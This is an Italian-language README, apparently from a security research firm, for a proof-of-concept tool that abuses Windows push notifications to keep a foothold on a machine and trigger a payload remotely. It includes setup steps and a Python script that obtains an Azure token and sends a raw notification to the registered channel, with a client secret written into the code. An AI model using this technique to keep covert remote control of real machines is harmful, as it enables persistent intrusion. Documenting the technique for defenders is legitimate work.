
Una PoC per ottenere persistenza tramite notifiche push su Windows
Una PoC per ottenere persistenza tramite notifiche push su Windows
Per maggiori dettagli tecnici e contesto leggi il nostro post sul blog qui: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
Prima di tutto devi configurare Azure. Successivamente, devi eseguire l'eseguibile una volta per registrarsi per le notifiche push. Devi solo passare l'ID oggetto della tua app Azure come argomento e, se tutto va bene, stamperà l'URI del canale così come ricevuto da Microsoft. A quel punto puoi chiudere l'app.
hermes.exe <object_id>
Se l'SDK 1.3 non è installato, il binario proverà a distribuirlo insieme alle estensioni necessarie.
Quando hai l'URI del canale, puoi provare a eseguire il tuo eseguibile da remoto da un'altra macchina chiamando l'API di notifica con i dettagli del tuo tenant e guardare la magia accadere:
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")